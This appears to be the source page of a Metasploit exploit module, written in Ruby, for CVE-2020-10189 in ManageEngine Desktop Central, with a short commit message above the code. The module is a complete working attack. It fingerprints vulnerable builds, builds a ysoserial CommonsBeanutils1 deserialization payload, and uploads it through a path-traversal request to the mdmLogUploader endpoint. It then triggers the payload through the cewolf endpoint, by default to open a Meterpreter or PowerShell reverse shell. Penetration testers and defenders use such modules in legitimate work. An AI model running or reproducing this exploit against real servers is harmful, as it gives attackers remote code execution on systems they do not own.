12d4ad68e3
Current pattern is print_good instead of vprint_good for this particular message directly or indirectly called by execute_command. CmdStagerFlavor is checked at the top level, but it is also checked per target. Moving this to where it's more appropriate.
211 lines
6.4 KiB
Ruby
211 lines
6.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ManageEngine Desktop Central Java Deserialization',
|
|
'Description' => %q{
|
|
This module exploits a Java deserialization vulnerability in the
|
|
getChartImage() method from the FileStorage class within ManageEngine
|
|
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
|
|
|
|
Quoting the vendor's advisory on fixed versions:
|
|
|
|
"The short-term fix for the arbitrary file upload vulnerability was
|
|
released in build 10.0.474 on January 20, 2020. In continuation of
|
|
that, the complete fix for the remote code execution vulnerability is
|
|
now available in build 10.0.479."
|
|
},
|
|
'Author' => [
|
|
'mr_me', # Discovery and exploit
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-10189'],
|
|
['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
|
|
['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
|
|
['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
|
|
['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
|
|
],
|
|
'DisclosureDate' => '2020-03-05', # 0day release
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Windows Command',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :win_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :win_dropper,
|
|
'CmdStagerFlavor' => :certutil, # This works without issue
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
],
|
|
[
|
|
'PowerShell Stager',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :psh_stager,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 2,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'WfsDelay' => 60 # It can take a little while to trigger
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
|
|
'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(8383),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'configurations.do')
|
|
)
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check request.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
|
|
return CheckCode::Unknown('Target is not running Desktop Central.')
|
|
end
|
|
|
|
build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text
|
|
|
|
unless build&.match(/\d+/)
|
|
return CheckCode::Detected(
|
|
'Target did not respond with Desktop Central build.'
|
|
)
|
|
end
|
|
|
|
# Desktop Central build 100474 is equivalent to version 10.0.474
|
|
if build.to_i < 100474
|
|
return CheckCode::Appears(
|
|
"Desktop Central #{build} is a vulnerable build."
|
|
)
|
|
end
|
|
|
|
CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
|
|
end
|
|
|
|
def exploit
|
|
# NOTE: Automatic check is implemented by the AutoCheck mixin
|
|
super
|
|
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
|
|
case target['Type']
|
|
when :win_cmd
|
|
execute_command(payload.encoded)
|
|
when :win_dropper
|
|
execute_cmdstager
|
|
when :psh_stager
|
|
execute_command(cmd_psh_payload(
|
|
payload.encoded,
|
|
payload.arch.first,
|
|
remove_comspec: true
|
|
))
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# XXX: An executable is required to run arbitrary commands
|
|
cmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper
|
|
|
|
vprint_status("Serializing command: #{cmd}")
|
|
|
|
# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
|
|
serialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload(
|
|
'CommonsBeanutils1',
|
|
cmd
|
|
)
|
|
|
|
# XXX: Patch in expected serialVersionUID
|
|
serialized_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"
|
|
|
|
# Rock 'n' roll!
|
|
upload_serialized_payload(serialized_payload)
|
|
deserialize_payload
|
|
end
|
|
|
|
def upload_serialized_payload(serialized_payload)
|
|
print_status('Uploading serialized payload')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),
|
|
'ctype' => 'application/octet-stream',
|
|
'vars_get' => {
|
|
# Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar
|
|
'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
|
|
'filename' => 'logger.zip'
|
|
},
|
|
'data' => serialized_payload
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
|
|
end
|
|
|
|
print_good('Successfully uploaded serialized payload')
|
|
|
|
# Shell lands in C:\Program Files\DesktopCentral_Server\bin
|
|
register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
|
|
end
|
|
|
|
def deserialize_payload
|
|
print_status('Deserializing payload')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'cewolf'),
|
|
'vars_get' => {
|
|
'img' => '\\logger.zip'
|
|
}
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
|
|
end
|
|
|
|
print_good('Successfully deserialized payload')
|
|
end
|
|
|
|
end
|